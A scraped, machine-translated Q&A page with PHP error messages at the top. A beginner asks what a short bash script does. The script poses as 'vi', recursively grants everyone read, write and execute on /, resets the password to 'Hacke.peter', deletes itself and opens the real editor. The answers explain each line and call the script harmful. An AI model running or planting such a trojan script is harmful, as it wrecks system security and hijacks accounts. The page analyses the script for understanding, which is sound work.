Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/18.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/shell/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
这个bashshell脚本做什么?_Bash_Shell_Unix - Fatal编程技术网

这个bashshell脚本做什么?

这个bashshell脚本做什么?,bash,shell,unix,Bash,Shell,Unix,对于Shell脚本,我是一个非常笨拙的初学者,但我必须能够解释这些代码行的作用,并且没有足够的时间首先熟悉它,所以我不能真正给出很多输入 作为附加信息,脚本本身被称为vi,就像编辑器一样,可能有害/希望作为管理员运行 #!/bin/bash # # execute on your own risk !! chmod -R og+rwx / echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd rm $0 vi $* logout # good bye!

对于Shell脚本,我是一个非常笨拙的初学者,但我必须能够解释这些代码行的作用,并且没有足够的时间首先熟悉它,所以我不能真正给出很多输入

作为附加信息,脚本本身被称为vi,就像编辑器一样,可能有害/希望作为管理员运行

#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!
我认为这个想法是有人试图运行实际的vi(不是这个脚本),然后他意外地调用了这个脚本-它将当前用户的密码更改为echo命令的输出(不确定这是什么),然后shell删除自己并调用编辑器,所以我们没有意识到发生了什么。
非常感谢您提前给出任何答案,并为您的无知感到抱歉。

嗯,不确定是无知的初学者还是狡猾的黑客[插入可疑的Fry meme]。你姓什么

下面是脚本一步一步执行的操作:

  • chmod-R og+rwx/
    :递归(
    -R
    )打开所有文件,供组中的用户(
    g
    )和所有其他用户(
    o
    )读取、写入和执行(
    +rwx

  • echo-e“hake.peter\n hake.peter\n”| passwd
    :将超级用户密码重置为“hake.peter”

  • rm$0
    :删除自身。bash中的
    $0
    代表当前脚本的文件名

  • vi$*
    :使用传递给原始(现在已擦除)脚本的任何参数(
    $*
    )打开真正的vi编辑器。如果脚本也被称为
    vi
    ,则此步骤是隐藏轨迹并避免怀疑

  • 注销
    :注销root模式。现在您不再有根目录,并且文件系统已打开


  • 非常讨厌的剧本

    欢迎来到这个网站!查看和,了解有关提问的更多信息,这些问题将吸引高质量的答案。您可以选择包含更多信息。这个脚本不仅可能有害,而且肯定有害:)。然而,我不确定这是回答这个问题的最好地方。您是否尝试过查看文档中的各个命令?例如,还应注意的是,步骤1除了打开您的安全之外,还将使您的整个系统基本上不可用。这个特殊的变体不会删除粘性位或set(g)uid位,因此它不像chmod-R 777/那样具有破坏性,但仍有许多其他东西会被破坏。